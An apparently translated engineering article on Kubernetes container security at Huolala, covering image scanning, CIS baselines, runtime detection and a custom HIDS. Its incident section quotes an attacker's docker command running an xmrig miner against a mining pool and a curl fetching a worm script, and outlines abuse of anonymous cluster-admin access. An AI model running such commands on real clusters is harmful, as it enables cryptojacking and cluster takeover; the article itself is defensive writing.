How Huolala Secures Kubernetes: Real-World Container Security Practices

Introduction

With the rise of cloud‑native technologies such as containers and micro‑services, Docker and Kubernetes (k8s) have become the primary choices for enterprise workloads. However, new security challenges emerge, making embedded container security a top priority.

This article shares the information‑security team’s practical experience securing containers at Huolala during its migration to a container‑based architecture.

1. Kubernetes Component Overview

Kubernetes clusters consist of two types of physical nodes: the Master (Control Plane) and the Node (worker). The Master handles scheduling and includes APIServer, scheduler, controller‑manager, and etcd. Each Node runs kubelet, kube‑proxy, and a container runtime.

1.2 Unauthorized Access Incident

A public‑cloud k8s cluster was compromised because the anonymous user "system:anonymous" was granted the "cluster‑admin" role. Attackers accessed the APIServer via port 6443, created privileged pods, and deployed mining containers, leading to full cluster takeover.

Attack steps:

Query /apis/v1/nodes?limit=500 to enumerate nodes.

Create a pod on a chosen node using the docker:latest image, then launch a privileged container sharing the host’s process and network namespaces.

Run a mining image hsww/xmrig-centos7 inside the privileged container.

docker run -dit --restart always --name k8s_Pod_coredns-deploy-5124333766-2ret5k_kube-system_e279b644-708b-11ea-ab98-12x8fd333dbc2_0 hsww/xmrig-centos7 -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0

Then the attacker executed a worm script: curl http://1.177.165.231/sd/T3llyz.sh The script downloaded and installed the xmrig miner, cleaned logs, and used SSH keys from /root and /home for lateral movement.

2. Background of Huolala’s Container Security

As Huolala scaled, workloads moved from virtual machines to containers for faster iteration and cost efficiency. Traditional host‑level threats (e.g., web shell, mining, web‑app exploits) persisted, while new risks appeared due to shared kernel namespaces, privileged containers, and the centralised control plane.

3. Container Security Guidance

Huolala’s security program focuses on the container lifecycle and a Kubernetes threat matrix.

3.1 Container Lifecycle

The lifecycle includes image build, orchestration distribution, runtime, and destruction. Security capabilities are split accordingly:

Image security : detect malicious or vulnerable images.

Ecosystem security : verify the safety of Kubernetes components (e.g., APIServer).

Baseline security : enforce CIS‑Docker/Kubernetes benchmark configurations.

Runtime security : monitor for host‑like intrusion scenarios.

3.2 Microsoft Kubernetes Threat Matrix

Huolala references Microsoft’s k8s threat matrix (also mirrored by Alibaba Cloud and Tencent Cloud). The matrix maps known container attack techniques to ATT&CK stages: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, and Impact.

4. Container Security Practices

4.1 Image Security

Scans check for sensitive data leaks, high‑severity CVEs, backdoors, and malware. After CI/CD pushes an image to the registry, an image‑scanning service (e.g., a cloud provider’s scanner, Clair, Dockerscan) analyses both layer metadata and embedded OS packages.

4.2 Ecosystem Security

Audits Kubernetes components such as the Master’s APIServer and Node’s kubelet/docker APIs for misconfigurations, unauthorized access, and insecure interfaces.

4.3 Baseline Security

Based on CIS‑Docker and CIS‑Kubernetes Benchmarks, Huolala defines high‑risk baseline checks (e.g., privileged containers, mounting host system directories, exposing privileged ports, enabling CAP_SYS_ADMIN). Non‑compliant pods are flagged for remediation.

4.4 Runtime Security

Runtime protection follows the attack chain phases: pre‑attack (asset discovery, port exposure), during‑attack (shell‑burst, command injection), and post‑attack (audit logs, command execution traces). Detection leverages the same threat‑matrix mapping.

5. Security Architecture Implementation

5.1 HIDS Architecture

Huolala built a unified Host‑based Intrusion Detection System (HIDS) consisting of an Agent, Server, and Management console, with data stored in MySQL, Elasticsearch, and Hive. The Agent collects host metrics, processes data, and runs detection engines; alerts are pushed to an IM channel for rapid response.

5.2 Technology Selection

After evaluating data collection methods, compatibility, architecture adjustments, and operational efficiency, Huolala unified host and container security into a custom Agent that can be pre‑installed on host images for automatic, incremental deployment.

The Agent enriches container‑related process data with pod metadata, tags, and forwards it to the detection engine, enabling comprehensive container security monitoring.

An example alert shows a reverse‑shell incident with pod IP, command details, and asset ownership, facilitating fast incident response.

6. Conclusion and Outlook

As cloud‑native adoption grows, integrating security into the container stack is essential. Huolala’s lifecycle‑driven approach, combined with a threat‑matrix and unified HIDS, has protected its multi‑cloud workloads for two years. Ongoing work includes exploring eBPF‑based controls and NetworkPolicy micro‑segmentation for finer‑grained protection.